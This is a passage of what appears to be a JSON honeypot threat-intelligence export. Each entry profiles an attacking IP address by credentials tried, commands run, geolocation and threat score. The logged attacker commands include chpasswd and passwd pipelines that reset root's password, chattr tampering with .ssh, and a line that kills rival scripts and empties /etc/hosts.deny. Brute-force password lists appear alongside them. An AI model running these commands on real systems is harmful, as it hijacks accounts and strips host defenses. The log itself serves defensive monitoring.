        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"audit\\nJBEByI85ekdl\\nJBEByI85ekdl\\n\"|passwd",
        "echo \"root:7hCvkgjF20fM\"|chpasswd|bash",
        "echo \"root:DQtdlOM5AGxm\"|chpasswd|bash",
        "echo -e \"audit\\nJBEByI85ekdl\\nJBEByI85ekdl\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 131111,
      "as_org": "PT Mora Telematika Indonesia",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:17:04.897000+00:00",
        "last_seen_30d": "2026-05-23T08:11:04.426000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 280,
        "Suricata": 50
      }
    },
    "34.123.134.194": {
      "attack_count": 214,
      "first_seen": "2026-05-15T01:01:51.740Z",
      "last_seen": "2026-05-24T11:42:51.104Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "temp",
        "ubuntu",
        "jenkins",
        "user",
        "validator"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0000",
        "12345",
        "Admin@2023",
        "Mm12345",
        "Password12345@",
        "Tx123456",
        "Woaini123.",
        "abcABC@123",
        "azerty",
        "jenkins@123",
        "netlog",
        "qwerty@123",
        "userpass",
        "validator",
        "zK123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nsYBRbC7upOwf\\nsYBRbC7upOwf\\n\"|passwd",
        "echo \"root:Z9pfDY1Ba03R\"|chpasswd|bash",
        "echo -e \"12345\\nsYBRbC7upOwf\\nsYBRbC7upOwf\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 34.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 262,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T01:01:51.740000+00:00",
        "last_seen_30d": "2026-05-24T11:43:55.700000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 214,
        "Suricata": 48
      }
    },
    "103.163.95.99": {
      "attack_count": 213,
      "first_seen": "2026-05-11T04:20:04.267Z",
      "last_seen": "2026-05-11T04:55:06.553Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftpuser",
        "guest",
        "345gs5662d34",
        "ftptest",
        "test",
        "testbox",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "#123456789",
        "111111",
        "1120",
        "123456!",
        "123456789",
        "12345678abcd",
        "12345@abc",
        "159357",
        "3245gs5662d34",
        "345gs5662d34",
        "4rfv$RFV5tgb",
        "989898",
        "Admin!@#",
        "Kx123456.",
        "QWERasdf1234",
        "Qq12345",
        "Qwer1234@",
        "Test_123",
        "Vh@123456",
        "abcd2026"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"qwerty\\nzAIad4MNYjxl\\nzAIad4MNYjxl\\n\"|passwd",
        "echo -e \"qwerty\\nzAIad4MNYjxl\\nzAIad4MNYjxl\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Puducherry",
      "asn": 141552,
      "as_org": "Interjet India Private Limited",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 282,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T04:20:04.267000+00:00",
        "last_seen_30d": "2026-05-11T04:56:14.152000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 69
      }
    },
    "160.238.24.130": {
      "attack_count": 210,
      "first_seen": "2026-05-08T20:44:07.206Z",
      "last_seen": "2026-05-31T16:08:05.143Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Paracambi",
      "asn": 267263,
      "as_org": "VIVA TELECOM",
      "threat_score": 55.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.9,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 245,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T20:44:07.206000+00:00",
        "last_seen_30d": "2026-05-31T16:09:12.372000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 140,
        "Suricata": 105
      }
    },
    "148.113.221.114": {
      "attack_count": 198,
      "first_seen": "2026-05-03T17:17:23.326Z",
      "last_seen": "2026-05-31T07:32:10.557Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 59.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.6,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 231,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T17:17:23.326000+00:00",
        "last_seen_30d": "2026-05-31T07:33:16.489000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 132,
        "Suricata": 99
      }
    },
    "131.161.15.178": {
      "attack_count": 184,
      "first_seen": "2026-05-22T20:37:07.541Z",
      "last_seen": "2026-05-23T07:49:05.357Z",
      "sessions": 92,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Divin\u00f3polis",
      "asn": 264358,
      "as_org": "PETRANET INTERNET LTDA",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 277,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:37:07.541000+00:00",
        "last_seen_30d": "2026-05-23T07:50:15.355000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 184,
        "Suricata": 93
      }
    },
    "69.6.235.201": {
      "attack_count": 173,
      "first_seen": "2026-05-19T07:39:27.408Z",
      "last_seen": "2026-05-19T08:13:48.079Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "123root",
        "1qaz2wsx3edc4rfv",
        "2004",
        "3245gs5662d34",
        "345gs5662d34",
        "India@2022",
        "Welcome2015",
        "aaa111",
        "abcd-1234",
        "asdfgh01",
        "auser",
        "claude",
        "cloudadmin",
        "coding",
        "gustave",
        "hamish123",
        "percy",
        "puppet",
        "qd8899xyz",
        "sharon"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:0nxaXRlzmzHF\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Cota",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 225,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:39:27.408000+00:00",
        "last_seen_30d": "2026-05-19T08:14:58.228000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 52
      }
    },
    "175.8.60.69": {
      "attack_count": 164,
      "first_seen": "2026-05-18T22:01:50.640Z",
      "last_seen": "2026-05-19T06:11:01.947Z",
      "sessions": 82,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 245,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:01:50.640000+00:00",
        "last_seen_30d": "2026-05-19T06:12:06.125000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 164,
        "Suricata": 81
      }
    },
    "27.221.188.21": {
      "attack_count": 158,
      "first_seen": "2026-05-19T07:59:48.136Z",
      "last_seen": "2026-05-19T17:58:16.647Z",
      "sessions": 79,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 238,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:59:48.136000+00:00",
        "last_seen_30d": "2026-05-19T17:59:20.747000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 158,
        "Suricata": 80
      }
    },
    "157.245.59.76": {
      "attack_count": 149,
      "first_seen": "2026-05-24T21:37:08.681Z",
      "last_seen": "2026-05-24T22:52:34.332Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "trading",
        "alex",
        "curl",
        "git",
        "krish",
        "rc",
        "tst"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "1234",
        "12345",
        "123qweASD!@#",
        "Lin123456",
        "Wangsu@2017",
        "admin123456",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "krish",
        "qweqwe123123",
        "qwerty23",
        "r00t1234!",
        "robin123",
        "rootpass",
        "tst",
        "welltech12"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 27.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 209,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T21:37:08.681000+00:00",
        "last_seen_30d": "2026-05-24T22:53:41.431000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 149,
        "Suricata": 60
      }
    },
    "177.43.83.43": {
      "attack_count": 148,
      "first_seen": "2026-05-29T12:52:37.597Z",
      "last_seen": "2026-05-29T13:23:07.199Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "devops",
        "ftp_user",
        "gustavo",
        "rancher",
        "root1",
        "tommy",
        "user1",
        "wireguard"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "123q123q",
        "3245gs5662d34",
        "345gs5662d34",
        "8ik,9ol.",
        "@root1234",
        "Cc123456@",
        "P@ssw0rd",
        "Passw0rd123!",
        "VPS",
        "fjbdfdjkdsfs541544",
        "ftp_user@2023",
        "gustavo",
        "password",
        "root",
        "test2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:jXQcFcezUPQt\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Bras\u00edlia",
      "asn": 18881,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 33.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 190,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T12:52:37.597000+00:00",
        "last_seen_30d": "2026-05-29T13:24:12.472000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 148,
        "Suricata": 42
      }
    },
    "203.25.208.110": {
      "attack_count": 148,
      "first_seen": "2026-05-16T03:42:44.877Z",
      "last_seen": "2026-05-16T04:06:44.859Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "linux",
        "udev-monitor",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "linux123",
        "2050",
        "2095",
        "3245gs5662d34",
        "345gs5662d34",
        "Hello2024",
        "backuppc",
        "gerry",
        "interlude",
        "lupita",
        "orange",
        "orion88",
        "panpan",
        "product",
        "swatch",
        "warnight",
        "zXXUKpvydMqzp1quBItn"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:0w30VA4dxwrp\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 139220,
      "as_org": "Sichuan Chuanxn IDC",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T03:42:44.877000+00:00",
        "last_seen_30d": "2026-05-16T04:07:54.844000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 148,
        "Suricata": 41
      }
    },
    "190.0.63.226": {
      "attack_count": 118,
      "first_seen": "2026-05-31T07:34:08.897Z",
      "last_seen": "2026-05-31T07:56:07.429Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cisco",
        "oracle",
        "sysadmin"
      ],
      "passwords_attempted": [
        "cisco",
        "3245gs5662d34",
        "345gs5662d34",
        "a123456A",
        "abc123...",
        "ali@123",
        "c",
        "oracle123",
        "sysadmin2022",
        "ubuntu20svm",
        "ucloud.cn"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:qlpsKZ6GephC\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Medell\u00edn",
      "asn": 13489,
      "as_org": "UNE EPM TELECOMUNICACIONES S.A.",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T07:34:08.897000+00:00",
        "last_seen_30d": "2026-05-31T07:57:07.740000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "59.174.119.0": {
      "attack_count": 98,
      "first_seen": "2026-05-23T08:04:09.200Z",
      "last_seen": "2026-05-23T13:37:52.899Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:04:09.200000+00:00",
        "last_seen_30d": "2026-05-23T13:38:57.180000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 98,
        "Suricata": 58
      }
    },
    "212.83.160.70": {
      "attack_count": 94,
      "first_seen": "2026-05-03T21:55:16.915Z",
      "last_seen": "2026-05-26T13:30:15.183Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 79.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 31461,
        "days_active_30d": 24,
        "ports_targeted_30d": 31606,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T21:55:16.915000+00:00",
        "last_seen_30d": "2026-05-26T13:31:23.247000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31328,
        "Cowrie": 94,
        "Honeytrap": 35,
        "Ciscoasa": 3,
        "Dionaea": 1
      }
    },
    "103.100.84.116": {
      "attack_count": 91,
      "first_seen": "2026-05-29T15:27:53.426Z",
      "last_seen": "2026-05-29T15:51:10.479Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "etherpad",
        "radio",
        "rajesh",
        "shree",
        "test",
        "user1",
        "zjw"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "Aa654321",
        "Abc123456@",
        "etherpad",
        "fjbdfdjkdsfs541544",
        "qweqwe123123",
        "radio",
        "rajesh",
        "shree",
        "zjw"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136834,
      "as_org": "POLITANI Pangkep",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T15:27:53.426000+00:00",
        "last_seen_30d": "2026-05-29T15:52:11.764000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 91,
        "Suricata": 35
      }
    },
    "141.94.94.32": {
      "attack_count": 90,
      "first_seen": "2026-05-05T03:00:50.499Z",
      "last_seen": "2026-05-29T22:59:31.917Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 49.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.2,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T03:00:50.499000+00:00",
        "last_seen_30d": "2026-05-29T23:00:35.887000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 60,
        "Suricata": 45
      }
    },
    "69.175.92.21": {
      "attack_count": 78,
      "first_seen": "2026-05-08T03:37:32.474Z",
      "last_seen": "2026-05-31T17:11:52.686Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 51.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.6,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:37:32.474000+00:00",
